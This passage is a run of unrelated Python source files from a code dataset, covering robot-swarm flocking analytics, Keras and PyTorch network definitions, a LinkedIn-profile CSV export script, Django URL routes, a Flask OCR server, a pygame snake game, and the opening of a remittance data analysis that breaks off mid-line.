model=model, trainer=data, datapoints=datapoints, episode_length=episode_length, leader=leader)\n\t\tanalysers[name] = MRSAnalytics(data) # compute flocking metrics (separation, cohesion, leader dist)\n\t\tanalysers[name].name = name\n\t# Draw Plots\n\tplot_separation(*analysers.values())\n\tplot_cohesion(*analysers.values())\n\tplot_leader_dist(*analysers.values())\n\t# Show\n\tshow_plots()\n\n\n\ndef state_fn(quad):\n\treturn torch.cat([quad.get_pos(), quad.get_vel()])\n\ndef update_fn(env, action, **kwargs):\n\tfor i, agent in enumerate(env.agents):\n\t\tenv.add_line(start=[0.,0.,0.], end=action[i,:], parent=agent, name=\"line_%d\" % i, colour=[0.,0.,1.])\n\ndef simulate(env, model, leader=False, **kwargs):\n\tif leader:\n\t\tleader_action_policy = RandomAction()\n\t\taction_fn = leader_action_policy.action_fn\n\t\tenvironment = env.get_env()\n\t\tleader_agent = environment.agents[0]\n\t\tenvironment.set_colour(leader_agent, [1.,0.,0.])\n\telse:\n\t\taction_fn = lambda action, state: action\n\tenv.START_POS.reset()\n\tdata = generate_mrs(env, model=model, action_fn=action_fn, **kwargs)\n\treturn data\n\ndef plot_separation(*analysers):\n\tseparations = [analyser.separation().permute(0,2,1).reshape(analyser.N*analyser.num_episodes, analyser.episode_length) for analyser in analysers]\n\tnames = [analyser.name for analyser in analysers]\n\tplot_time_distribution(data=separations, labels=names, xlabel=\"Time Step\", ylabel=\"Separation from Nearest Neighbor\", title=\"\", ignorenan=True)\n\tfor name, separation in zip(names, separations):\n\t\tsep = separation.reshape(-1)\n\t\tmean = mean_ignorenan(sep.unsqueeze(1))[0]\n\t\tmedian = median_ignorenan(sep.unsqueeze(1))[0]\n\t\tstd = std_ignorenan(sep.unsqueeze(1))[0]\n\t\tprint(\"%s Separation: median=%g, mean=%g, std=%g\" % (name, median, mean, std))\n\ndef plot_cohesion(*analysers):\n\tcohesions = [analyser.cohesion() for analyser in analysers]\n\tnames = [analyser.name for analyser in analysers]\n\tplot_time_distribution(data=cohesions, labels=names, xlabel=\"Time Step\", ylabel=\"Diameter of Smallest Sphere that Contains all Agents\", title=\"\", ignorenan=True)\n\tfor name, cohesion in zip(names, cohesions):\n\t\tcoh = cohesion.reshape(-1)\n\t\tmean = mean_ignorenan(coh.unsqueeze(1))[0]\n\t\tmedian = median_ignorenan(coh.unsqueeze(1))[0]\n\t\tstd = std_ignorenan(coh.unsqueeze(1))[0]\n\t\tprint(\"%s Cohesion: median=%g, mean=%g, std=%g\" % (name, median, mean, std))\n\ndef plot_leader_dist(*analysers):\n\tdists = [analyser.dist_to_leader() for analyser in analysers]\n\tnames = [analyser.name for analyser in analysers]\n\tplot_time_distribution(data=dists, labels=names, xlabel=\"Time Step\", ylabel=\"Distance from the Center of the Swarm to the Leader\", title=\"\", ignorenan=True)\n\tfor name, dist in zip(names, dists):\n\t\tleader_dist = dist.reshape(-1)\n\t\tmean = mean_ignorenan(leader_dist.unsqueeze(1))[0]\n\t\tmedian = median_ignorenan(leader_dist.unsqueeze(1))[0]\n\t\tstd = std_ignorenan(leader_dist.unsqueeze(1))[0]\n\t\tprint(\"%s Leader Dist: median=%g, mean=%g, std=%g\" % (name, median, mean, std))\n\ndef loss_fn(output, target):\n\tloss = torch.nn.MSELoss()(output, target.double())\n\tloss_dict = {\"Loss\": loss}\n\treturn loss_dict\n\n# Generates an off-policy random action (used for creating a leader)\nclass RandomAction:\n\n\tdef __init__(self):\n\t\ttorch.manual_seed(0)\n\t\tself.target_vel = torch.zeros(3)\n\t\tself.sigma = 0.05\n\t\tself.maxspeed = 1.0\n\t\tself.dist = Normal(self.target_vel, self.sigma)\n\n\tdef action_fn(self, action, state):\n\t\t# Update target_vel\n\t\tself.dist = Normal(self.target_vel, self.sigma)\n\t\tself.target_vel = self.dist.sample()\n\t\tmag = self.target_vel.norm()\n\t\tself.target_vel *= self.maxspeed / max(mag, self.maxspeed)\n\t\t# Set Leader Velocity\n\t\taction[0,:] = self.target_vel\n\t\treturn action\n\n# Stores the starting states in simulation so they can be reused with other models for consistency\nclass StartPosGenerator:\n\n\tdef __init__(self, pos_list):\n\t\tself.pos_list = pos_list\n\t\tself.i = 0\n\n\tdef sample(self):\n\t\tstartpos = self.pos_list[self.i]\n\t\tself.i += 1\n\t\treturn startpos\n\n\tdef reset(self):\n\t\tself.i = 0\n\n# Random model\nclass RandomController:\n\n\tdef __init__(self, OUT_DIM):\n\t\tself.OUT_DIM = OUT_DIM\n\n\tdef forward(self, A, X):\n\t\tbatch, N, D, K = X.shape\n\t\treturn torch.randn(batch, N, self.OUT_DIM)\n\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"examples/simulating_data/analytics.py","file_name":"analytics.py","file_ext":"py","file_size_in_byte":5897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"249747793","text":"\"\"\"MobileNet v2 models for Keras.\n# Reference\n- [Inverted Residuals and Linear Bottlenecks Mobile Networks for\n   Classification, Detection and Segmentation]\n   (https://arxiv.org/abs/1801.04381)\n\"\"\"\n\nfrom keras.models import Model, Sequential\nfrom keras.layers import Input, Conv2D, GlobalAveragePooling2D, Dropout, Flatten\nfrom keras.layers import Activation, BatchNormalization, add, Reshape, Dense\nfrom keras.applications.mobilenet import relu6, DepthwiseConv2D\nfrom keras.utils.vis_utils import plot_model\nfrom keras.applications import mobilenet\n\nfrom keras import backend as K\n\n\ndef _conv_block(inputs, filters, kernel, strides):\n    \"\"\"Convolution Block\n    This function defines a 2D convolution operation with BN and relu6.\n    # Arguments\n        inputs: Tensor, input tensor of conv layer.\n        filters: Integer, the dimensionality of the output space.\n        kernel: An integer or tuple/list of 2 integers, specifying the\n            width and height of the 2D convolution window.\n        strides: An integer or tuple/list of 2 integers,\n            specifying the strides of the convolution along the width and height.\n            Can be a single integer to specify the same value for\n            all spatial dimensions.\n    # Returns\n        Output tensor.\n    \"\"\"\n\n    channel_axis = 1 if K.image_data_format() == 'channels_first' else -1\n\n    x = Conv2D(filters, kernel, padding='same', strides=strides)(inputs)\n    x = BatchNormalization(axis=channel_axis)(x)\n    return Activation(relu6)(x)\n\n\ndef _bottleneck(inputs, filters, kernel, t, s, r=False):\n    \"\"\"Bottleneck\n    This function defines a basic bottleneck structure.\n    # Arguments\n        inputs: Tensor, input tensor of conv layer.\n        filters: Integer, the dimensionality of the output space.\n        kernel: An integer or tuple/list of 2 integers, specifying the\n            width and height of the 2D convolution window.\n        t: Integer, expansion factor.\n            t is always applied to the input size.\n        s: An integer or tuple/list of 2 integers,specifying the strides\n            of the convolution along the width and height.Can be a single\n            integer to specify the same value for all spatial dimensions.\n        r: Boolean, Whether to use the residuals.\n    # Returns\n        Output tensor.\n    \"\"\"\n\n    channel_axis = 1 if K.image_data_format() == 'channels_first' else -1\n    tchannel = K.int_shape(inputs)[channel_axis] * t\n\n    x = _conv_block(inputs, tchannel, (1, 1), (1, 1))\n\n    x = DepthwiseConv2D(kernel, strides=(s, s), depth_multiplier=1, padding='same')(x)\n    x = BatchNormalization(axis=channel_axis)(x)\n    x = Activation(relu6)(x)\n\n    x = Conv2D(filters, (1, 1), strides=(1, 1), padding='same')(x)\n    x = BatchNormalization(axis=channel_axis)(x)\n\n    if r:\n        x = add([x, inputs])\n    return x\n\n\ndef _inverted_residual_block(inputs, filters, kernel, t, strides, n):\n    \"\"\"Inverted Residual Block\n    This function defines a sequence of 1 or more identical layers.\n    # Arguments\n        inputs: Tensor, input tensor of conv layer.\n        filters: Integer, the dimensionality of the output space.\n        kernel: An integer or tuple/list of 2 integers, specifying the\n            width and height of the 2D convolution window.\n        t: Integer, expansion factor.\n            t is always applied to the input size.\n        s: An integer or tuple/list of 2 integers,specifying the strides\n            of the convolution along the width and height.Can be a single\n            integer to specify the same value for all spatial dimensions.\n        n: Integer, layer repeat times.\n    # Returns\n        Output tensor.\n    \"\"\"\n\n    x = _bottleneck(inputs, filters, kernel, t, strides)\n\n    for i in range(1, n):\n        x = _bottleneck(x, filters, kernel, t, 1, True)\n\n    return x\n\n\ndef MobileNetv2(input_shape, k):\n    \"\"\"MobileNetv2\n    This function defines a MobileNetv2 architectures.\n    # Arguments\n        input_shape: An integer or tuple/list of 3 integers, shape\n            of input tensor.\n        k: Integer, number of classes.\n    # Returns\n        MobileNetv2 model.\n    \"\"\"\n\n    # inputs = Input(shape=input_shape)\n    # x = _conv_block(inputs, 32, (3, 3), strides=(2, 2))\n    #\n    # x = _inverted_residual_block(x, 16, (3, 3), t=1, strides=1, n=1)\n    # x = _inverted_residual_block(x, 24, (3, 3), t=6, strides=2, n=2)\n    # x = _inverted_residual_block(x, 32, (3, 3), t=6, strides=2, n=3)\n    # x = _inverted_residual_block(x, 64, (3, 3), t=6, strides=2, n=4)\n    # x = _inverted_residual_block(x, 96, (3, 3), t=6, strides=1, n=3)\n    # x = _inverted_residual_block(x, 160, (3, 3), t=6, strides=2, n=3)\n    # x = _inverted_residual_block(x, 320, (3, 3), t=6, strides=1, n=1)\n    #\n    # x = _conv_block(x, 1280, (1, 1), strides=(1, 1))\n    # x = GlobalAveragePooling2D()(x)\n    # x = Reshape((1, 1, 1280))(x)\n    # x = Dropout(0.3, name='Dropout')(x)\n    # x = Conv2D(k, (1, 1), padding='same')(x)\n    #\n    # x = Activation('softmax', name='softmax')(x)\n    # output = Reshape((k,))(x)\n    #\n    # model = Model(inputs, output)\n    # plot_model(model, to_file='images/MobileNetv2.png', show_shapes=True)\n\n    # model = Sequential()\n    # mob = mobilenet.MobileNet(input_shape=input_shape, alpha=1.0, depth_multiplier=1, dropout=1e-3, include_top=True,\n    #                           weights='imagenet', input_tensor=None, pooling=None, classes=1000)\n    # model.add(Dense(1000, input_shape=(26,)))\n    # model.add(mob)\n    #\n    # model.layers.pop()\n    # output = Reshape((26,))\n    # # model.add(output)\n    # # model2 = Model(model.input, output)\n    # for i in model.layers:\n    #     print(i)\n\n    # load vgg16 without dense layer and with theano dim ordering\n    base_model = mobilenet.MobileNet(weights='imagenet', include_top=False, input_shape=(128, 128, 3))\n\n    # number of classes in your dataset e.g. 20\n    num_classes = 26\n\n    x = Flatten()(base_model.output)\n    predictions = Dense(num_classes, activation='softmax')(x)\n\n    # create graph of your new model\n    head_model = Model(input=base_model.input, output=predictions)\n\n    model = head_model\n\n    return model\n\n\nif __name__ == '__main__':\n    MobileNetv2((224, 224, 3), 100)\n","sub_path":"mobilenet_v2.py","file_name":"mobilenet_v2.py","file_ext":"py","file_size_in_byte":6210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"197675130","text":"import sys\nimport os\nimport csv\n\nsys.path.append(r\"C:\\Users\\estasney\\PycharmProjects\\FlaskAPIWeb\\mysite\")\n# sys.path.append(\"/home/estasney1/mysite\")\n\nfrom app_folder import create_app\nfrom app_folder.models import LinkedInRecord\n\nprint(\"Fetching Records\")\n\nsave_path = 'corpus.csv'\n\napp = create_app()\napp.app_context().push()\n\n\nprofiles = LinkedInRecord.query.all()\n\nwith open(save_path, 'w+', newline='', encoding='utf-8') as csv_file:\n    writer = csv.writer(csv_file)\n    writer.writerow(['member_id', 'title', 'company', 'summary', 'skills'])\n\n    for profile in profiles:\n        member_id = profile.member_id\n        profile_text = []\n        profile_text.append(profile.summary)\n        title = \"\"\n        company = \"\"\n        for job in profile.jobs:\n            if job.index == 0:\n                title = job.title\n                company = job.companyName\n            profile_text.append(job.summary)\n\n        profile_text = list(filter(lambda x: x is not None and len(x) > 5, profile_text))\n        if not profile_text:\n            profile_text = \"\"\n        else:\n            profile_text = [x.replace(\"\\n\", \" \").replace(\"\\t\", \" \") for x in profile_text]\n            profile_text = \"\\n\".join(profile_text)\n\n        skills = profile.skills if profile.skills else \"\"\n\n        writer.writerow([member_id, title, company, profile_text, skills])\n","sub_path":"scripts2/make_corpus.py","file_name":"make_corpus.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"37729672","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.home, name='home'),\n    path('products/', views.products, name='products'),\n    path('create_product/', views.createProduct, name='create_product'),\n    path('update_product/<str:pk>', views.updateProduct, name='update_product'),\n    path('delete_product/<str:pk>', views.deleteProduct, name='delete_product'),\n    path('custumer/<str:pk>', views.custumer, name='custumer'),\n    path('create_order/', views.createOrder, name='create_order'),\n    path('update_order/<str:pk>', views.updateOrder, name='update_order'),\n    path('delete_order/<str:pk>', views.deleteOrder, name='delete_order'),\n    path('login/', views.loginPage, name='login'),\n    path('register/', views.registerPage, name='register'),\n    path('logout/', views.logoutPage, name='logout'),\n    path('user/', views.userPage, name='user-page'),\n    path('account/', views.accountSetting, name='account-page'),\n]\n\n","sub_path":"Asyari/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"394597812","text":"import torch.nn as nn\r\nimport torch\r\nfrom torchsummary import summary\r\n\r\ndef _make_divisible(v, divisor, min_value=None):\r\n    \"\"\"\r\n    This function is taken from the original tf repo. It ensures that all layers have a channel number that is divisible by 8\r\n    It can be seen here: https://github.com/tensorflow/models/blob/master/research/slim/nets/mobilenet/mobilenet.py\r\n    :param v:\r\n    :param divisor:\r\n    :param min_value:\r\n    :return:\r\n    \"\"\"\r\n    if min_value is None:\r\n        min_value = divisor\r\n    new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\r\n    # Make sure that round down does not go down by more than 10%.\r\n    if new_v < 0.9 * v:\r\n        new_v += divisor\r\n    return new_v\r\n\r\nclass DoubleConv(nn.Sequential):\r\n    def __init__(self, in_ch, out_ch, norm_layer=None, activation_layer=None):\r\n        super(DoubleConv, self).__init__(\r\n            nn.Conv2d(in_ch , out_ch, kernel_size=1),\r\n            norm_layer(out_ch),\r\n            activation_layer(out_ch),\r\n            nn.Conv2d(out_ch, out_ch, kernel_size=3, padding=1),\r\n            norm_layer(out_ch),\r\n            activation_layer(out_ch),\r\n            nn.UpsamplingBilinear2d(scale_factor=2)\r\n        )\r\n\r\nclass ConvBNReLU(nn.Sequential):\r\n    def __init__(self, in_planes, out_planes, kernel_size=3, stride=1, groups=1, norm_layer=None, activation_layer=None):\r\n        padding = (kernel_size - 1) // 2\r\n        super(ConvBNReLU, self).__init__(\r\n            nn.Conv2d(in_planes, out_planes, kernel_size, stride, padding, groups=groups, bias=False),\r\n            norm_layer(out_planes),\r\n            activation_layer(out_planes)\r\n        )\r\n\r\nclass InvertedResidual(nn.Module):\r\n    def __init__(self, inp, oup, stride, expand_ratio, norm_layer=None, activation_layer=None):\r\n        super(InvertedResidual, self).__init__()\r\n        self.stride = stride\r\n        assert stride in [1, 2]\r\n\r\n        hidden_dim = int(round(inp * expand_ratio))\r\n        self.use_res_connect = self.stride == 1 and inp == oup\r\n\r\n        layers = []\r\n        if expand_ratio != 1:\r\n            # pw\r\n            layers.append(ConvBNReLU(inp, hidden_dim, kernel_size=1, norm_layer=norm_layer, activation_layer=activation_layer))\r\n        layers.extend([\r\n            # dw\r\n            ConvBNReLU(hidden_dim, hidden_dim, stride=stride, groups=hidden_dim, norm_layer=norm_layer, activation_layer=activation_layer),\r\n            # pw-linear\r\n            nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False),\r\n            norm_layer(oup),\r\n        ])\r\n        self.conv = nn.Sequential(*layers)\r\n\r\n    def forward(self, x):\r\n        if self.use_res_connect:\r\n            return x + self.conv(x)\r\n        else:\r\n            return self.conv(x)\r\n\r\nclass LpNetResConcat(nn.Module):\r\n    def __init__(self,\r\n                 input_size,\r\n                 joint_num,\r\n                 input_channel = 48,\r\n                 embedding_size = 2048,\r\n                 width_mult=1.0,\r\n                 round_nearest=8,\r\n                 block=None,\r\n                 norm_layer=None,\r\n                 activation_layer=None,\r\n                 inverted_residual_setting=None):\r\n\r\n        super(LpNetResConcat, self).__init__()\r\n\r\n        assert input_size[1] in [256]\r\n\r\n        if block is None:\r\n            block = InvertedResidual\r\n        if norm_layer is None:\r\n            norm_layer = nn.BatchNorm2d\r\n        if activation_layer is None:\r\n            activation_layer = nn.PReLU # PReLU does not have inplace True\r\n        if inverted_residual_setting is None:\r\n            inverted_residual_setting = [\r\n                # t, c, n, s\r\n                [1, 64, 1, 1],  #[-1, 48, 256, 256]\r\n                [6, 48, 2, 2],  #[-1, 48, 128, 128]\r\n                [6, 48, 3, 2],  #[-1, 48, 64, 64]\r\n                [6, 64, 4, 2],  #[-1, 64, 32, 32]\r\n                [6, 96, 3, 2],  #[-1, 96, 16, 16]\r\n                [6, 160, 3, 2], #[-1, 160, 8, 8]\r\n                [6, 320, 1, 1], #[-1, 320, 8, 8]\r\n            ]\r\n\r\n        # building first layer\r\n        inp_channel = [_make_divisible(input_channel * width_mult, round_nearest),\r\n                         _make_divisible(input_channel * width_mult, round_nearest) + inverted_residual_setting[0][1],\r\n                         inverted_residual_setting[0][1] + inverted_residual_setting[1][1],\r\n                         inverted_residual_setting[1][1] + inverted_residual_setting[2][1],\r\n                         inverted_residual_setting[2][1] + inverted_residual_setting[3][1],\r\n                         inverted_residual_setting[3][1] + inverted_residual_setting[4][1],\r\n                         inverted_residual_setting[4][1] + inverted_residual_setting[5][1],\r\n                         inverted_residual_setting[5][1] + inverted_residual_setting[6][1],\r\n                         inverted_residual_setting[6][1] + embedding_size,\r\n                         256 + embedding_size,\r\n                       ]\r\n        self.first_conv = ConvBNReLU(3, inp_channel[0], stride=1, norm_layer=norm_layer, activation_layer=activation_layer)\r\n\r\n        inv_residual = []\r\n        # building inverted residual blocks\r\n        j = 0\r\n        for t, c, n, s in inverted_residual_setting:\r\n            output_channel = _make_divisible(c * width_mult, round_nearest)\r\n            for i in range(n):\r\n                stride = s if i == 0 else 1\r\n                input_channel = inp_channel[j] if i == 0 else output_channel\r\n                inv_residual.append(block(input_channel, output_channel, stride, expand_ratio=t, norm_layer=norm_layer, activation_layer=activation_layer))\r\n            j += 1\r\n        # make it nn.Sequential\r\n        self.inv_residual = nn.Sequential(*inv_residual)\r\n\r\n        self.last_conv = ConvBNReLU(inp_channel[j], embedding_size, kernel_size=1, norm_layer=norm_layer, activation_layer=activation_layer)\r\n\r\n        self.deonv0 = DoubleConv(inp_channel[j+1], 256, norm_layer=norm_layer, activation_layer=activation_layer)\r\n        self.deonv1 = DoubleConv(2304, 256, norm_layer=norm_layer, activation_layer=activation_layer)\r\n        self.deonv2 = DoubleConv(512, 256, norm_layer=norm_layer, activation_layer=activation_layer)\r\n\r\n        self.final_layer = nn.Conv2d(\r\n            in_channels=256,\r\n            out_channels= joint_num * 64,\r\n            kernel_size=1,\r\n            stride=1,\r\n            padding=0\r\n        )\r\n\r\n        self.avgpool = nn.AvgPool2d(3, stride=2, padding=1, count_include_pad=False)\r\n        self.upsample = nn.UpsamplingBilinear2d(scale_factor=2)\r\n\r\n    def forward(self, x):\r\n        x0 = self.first_conv(x)\r\n        x1 = self.inv_residual[0:1](x0)\r\n        x2 = self.inv_residual[1:3](torch.cat([x0, x1], dim=1))\r\n        x0 = self.inv_residual[3:6](torch.cat([self.avgpool(x1), x2], dim=1))\r\n        x1 = self.inv_residual[6:10](torch.cat([self.avgpool(x2), x0], dim=1))\r\n        x2 = self.inv_residual[10:13](torch.cat([self.avgpool(x0), x1], dim=1))\r\n        x0 = self.inv_residual[13:16](torch.cat([self.avgpool(x1), x2], dim=1))\r\n        x1 = self.inv_residual[16:17](torch.cat([self.avgpool(x2), x0], dim=1))\r\n        x2 = self.last_conv(torch.cat([x0, x1], dim=1))\r\n        x0 = self.deonv0(torch.cat([x1, x2], dim=1))\r\n        x1 = self.deonv1(torch.cat([self.upsample(x2), x0], dim=1))\r\n        x2 = self.deonv2(torch.cat([self.upsample(x0), x1], dim=1))\r\n        x0 = self.final_layer(x2)\r\n        return x0\r\n\r\n    def init_weights(self):\r\n        for i in [self.deconv0, self.deconv1, self.deconv2]:\r\n            for name, m in i.named_modules():\r\n                if isinstance(m, nn.ConvTranspose2d):\r\n                    nn.init.normal_(m.weight, std=0.001)\r\n                elif isinstance(m, nn.BatchNorm2d):\r\n                    nn.init.constant_(m.weight, 1)\r\n                    nn.init.constant_(m.bias, 0)\r\n        for j in [self.first_conv, self.inv_residual, self.last_conv, self.final_layer]:\r\n            for m in j.modules():\r\n                if isinstance(m, nn.Conv2d):\r\n                    nn.init.normal_(m.weight, std=0.001)\r\n                    if hasattr(m, 'bias'):\r\n                        if m.bias is not None:\r\n                            nn.init.constant_(m.bias, 0)\r\n\r\nif __name__ == \"__main__\":\r\n    model = LpNetResConcat((256, 256), 18)\r\n    test_data = torch.rand(1, 3, 256, 256)\r\n    test_outputs = model(test_data)\r\n    # print(test_outputs.size())\r\n    summary(model, (3, 256, 256))","sub_path":"common/backbone/lpnet_res_concat.py","file_name":"lpnet_res_concat.py","file_ext":"py","file_size_in_byte":8398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"466211351","text":"from flask import Flask, request, render_template_string\nfrom OCR import run_image\nimport json\n\napp = Flask(__name__)\n\n\ndef get_webpage():\n    res = ''\n    for line in open('html/index.html'):\n        res += line\n    return res\n\n\n@app.route('/languages')\ndef languages():\n    config = json.load(open('config.json'))\n    return ','.join(config.keys())\n\n\n@app.route('/', methods=[\"GET\", \"POST\"])\ndef index():\n    config = json.load(open('config.json'))\n    if request.method == 'GET':\n        return render_template_string(get_webpage(), langs=config.keys())\n    else:\n        return run_image(request.files['img'], request.form['lang'])\n","sub_path":"Webserver.py","file_name":"Webserver.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"613754790","text":"from SnakeGameColors import *\nimport random\nimport pygame\nimport os\npygame.init()\npygame.mixer.init()\n\nclock = pygame.time.Clock()\nfont = pygame.font.SysFont(None, 30)\n\nscreen_width = 650\nscreen_height = 450\n\ngameWindow = pygame.display.set_mode((screen_width, screen_height))\npygame.display.set_caption(\"Snake Game\")\n\nstart_bg = pygame.image.load(\"start.jpg\")\nstart_bg = pygame.transform.scale(start_bg, (screen_width, screen_height)).convert_alpha()\n\ngame_bg = pygame.image.load(\"grass.png\")\ngame_bg = pygame.transform.scale(game_bg, (screen_width, screen_width)).convert_alpha()\n\nover_bg = pygame.image.load(\"over.jpg\")\nover_bg = pygame.transform.scale(over_bg, (screen_width, screen_height)).convert_alpha()\n\n\ndef start():\n    exit_game = False\n    pygame.mixer.music.load(\"intro.mp3\")\n    pygame.mixer.music.play(-1)\n    while not exit_game:\n        gameWindow.fill(yellow)\n        gameWindow.blit(start_bg, (0, 0))\n        show_on_screen(\"Press Any Key to Start the Game......\", black, 160, 57)\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                exit_game = True\n            if event.type == pygame.KEYDOWN:\n                game_loop()\n        pygame.display.update()\n        clock.tick(60)\n\n\ndef show_on_screen(text, color, x, y):\n    screen_text = font.render(text, True, color)\n    gameWindow.blit(screen_text, [x, y])\n\n\ndef grow_snake(base, color, ordinates, size):\n    for x, y in ordinates:\n        pygame.draw.rect(base, color, [x, y, size, size])\n\n\ndef game_loop():\n    if not os.path.exists(\"high_score.txt\"):\n        with open(\"high_score.txt\", \"w\") as hs:\n            hs.write(\"0\")\n    with open(\"high_score.txt\", \"r\") as hs:\n        high_score = hs.read()\n\n    pygame.mixer.music.load(\"bg.mp3\")\n    pygame.mixer.music.play(-1)\n\n    food_x = random.randint(20, screen_width - 20)\n    food_y = random.randint(75, screen_height - 20)\n    food_radius = 5\n    velocity_x = 0\n    velocity_y = 0\n    snake_size = 10\n    snake_y = 220\n    snake_x = 320\n    score = 0\n    fps = 50\n\n    snake_length = 1\n    snake_list = []\n\n    exit_game = False\n    game_over = False\n\n    while not exit_game:\n        if game_over:\n            gameWindow.fill(white)\n            gameWindow.blit(game_bg, (0, 0))\n            show_on_screen(\"Game Over!!! Press Return to Continue\", red, 130, 160)\n            show_on_screen(\"Your Score : \" + str(score), red, 230, 180)\n            show_on_screen(\"High Score : \" + str(high_score), red, 230, 200)\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    exit_game = True\n                if event.type == pygame.KEYDOWN:\n                    if event.key == pygame.K_RETURN:\n                        game_over = False\n                        game_loop()\n\n        else:\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    exit_game = True\n\n                if event.type == pygame.KEYDOWN:\n                    if event.key == pygame.K_UP:\n                        velocity_y = -5\n                        velocity_x = 0\n                    if event.key == pygame.K_DOWN:\n                        velocity_x = 0\n                        velocity_y = 5\n                    if event.key == pygame.K_RIGHT:\n                        velocity_y = 0\n                        velocity_x = 5\n                    if event.key == pygame.K_LEFT:\n                        velocity_y = 0\n                        velocity_x = -5\n\n            snake_x = snake_x + velocity_x\n            snake_y = snake_y + velocity_y\n\n            if abs(snake_x - food_x) < 5 and abs(snake_y - food_y) < 5:\n                # pygame.mixer.music.load(\"food.mp3\")\n                # pygame.mixer.music.play()\n                score = score + 10\n                snake_length = snake_length + 3\n                food_x = random.randint(20, screen_width - 20)\n                food_y = random.randint(50, screen_height - 20)\n                # pygame.mixer.music.load(\"bg.mp3\")\n                # pygame.mixer.music.play(-1)\n            elif abs(food_x - snake_x) < 5 and abs(food_y - snake_y) < 5:\n                # pygame.mixer.music.load(\"food.mp3\")\n                # pygame.mixer.music.play()\n                score = score + 10\n                snake_length = snake_length + 3\n                food_x = random.randint(20, screen_width - 20)\n                food_y = random.randint(50, screen_height - 20)\n                # pygame.mixer.music.load(\"bg.mp3\")\n                # pygame.mixer.music.play(-1)\n\n            gameWindow.fill(white)\n            gameWindow.blit(game_bg, (0, 0))\n            show_on_screen(\"Score : \" + str(score) + \"                 High Score : \" + str(high_score), purple, 10, 10)\n            pygame.draw.line(gameWindow, brown, (0, 40), (screen_width, 40), 3)\n            pygame.draw.circle(gameWindow, red, [food_x, food_y], food_radius)\n\n            snake_head = list()\n            snake_head.append(snake_x)\n            snake_head.append(snake_y)\n            snake_list.append(snake_head)\n\n            if len(snake_list) > snake_length:\n                del snake_list[0]\n\n            if snake_head in snake_list[:-1]:\n                pygame.mixer.music.load(\"over.mp3\")\n                pygame.mixer.music.play()\n                if int(high_score) <= score:\n                    with open(\"high_score.txt\", \"w\") as hs:\n                        hs.write(str(score))\n                game_over = True\n\n            if snake_x < 0 or snake_x > screen_width or snake_y < 40 or snake_y > screen_height:\n                pygame.mixer.music.load(\"over.mp3\")\n                pygame.mixer.music.play()\n                if int(high_score) <= score:\n                    with open(\"high_score.txt\", \"w\") as hs:\n                        hs.write(str(score))\n                game_over = True\n\n            if int(high_score) < score:\n                high_score = score\n\n            grow_snake(gameWindow, black, snake_list, snake_size)\n        pygame.display.update()\n        clock.tick(fps)\n\n    pygame.quit()\n    quit()\n\n\nstart()\n","sub_path":"SnakeGame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"220114523","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 16 13:31:41 2017\n\n@author: mmic\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Reading the excel file into python with necessary rows and columns\n\nr=pd.read_excel('C:\\\\Users\\\\mmic\\\\Documents\\\\Python Tutorial\\\\Python\\\\'+\n                'Bangladesh_Remittance_HIES2010.xlsx',sheetname=\"Sheet1\",\n                index_col=None,na_values=['NA'],skiprows=7,\n                parse_cols=\"A,F:G,J:M,P,U\")\n\n## Data cleaning\n\nr['Total_Remittance']=r['Total_money_sent']+r['Value of product sent']\n# Converting total remittance in USD\n# US-BDT exchange rate in 2010\nE=71.17\nr['Total_Remittance']=r['Total_Remittance']/E\n# Converting total stay in abroad in months\nr['Total_Stay']=r['Months spent in abroad']+12*r['Years Spent in abroad']\nr=r[r.Total_Remittance !=0]\n# Deleting the expatriates' information reported as living in Bangladesh \n#(0 is the coutry code for Banglades)\nr=r[r.Country_Code !=0]\n\n# Recoding the country code into country name\nr['Country'] = (r['Country_Code'].map({1:'Saudi Arabia',2:'Qatar',3:'Kuwait',\n 4:'Oman',5:'Malaysia',6:'Singapore',7:'Iraq',8:'Iran',9:'Libya',10:'UAE',\n 11:'Canada',12:'Australia',13:'UK',14:'USA',15:'South Korea',16:'Japan',\n 17:'Turkey',18:'Germany',19:'Sweden',20:'Russia',21:'Other European Countries',\n 23:'Brunei',24:'Mauritius',25:'South Africa',26:'Others'}))\n\n## Graph 1\nplt.style.use('ggplot')\nfig1, ax = plt.subplots()\ngroup_names = ['0 year', '1-5 years','6-10 years','11-12 years','13-16 years',\n               '>16 years']\nr['categories'] = pd.cut(r['Level of Education'], bins=[-1,0,5,10,12,16,18], \n                         labels=['0 year', '1-5 years','6-10 years',\n                                 '11-12 years','13-16 years', '>16 years'])\ncounts = r['categories'].value_counts(sort=False)\nplt.axis('equal')\nexplode = (0.2, 0.1,0.1,0.2,0.1,0.1)\ncolors = ['#c0d6e4','#6a6aa7','#40e0d0','#ee6363','#0071C6','#008DB8',]\ncounts.plot(kind='pie', fontsize=12,colors=colors,explode=explode,autopct='%.2f')\nplt.legend(labels=group_names,loc=2,bbox_to_anchor=(0.8,0.4))\nplt.ylabel('')\nplt.title('Graph-1: Level of Education of the expatriates (In Percentage)')\n# save graph 1\nfig1.savefig('Graph-1.png', transparent=False, dpi=90, bbox_inches=\"tight\")\n\n# Graph 2\nfig2, ax = 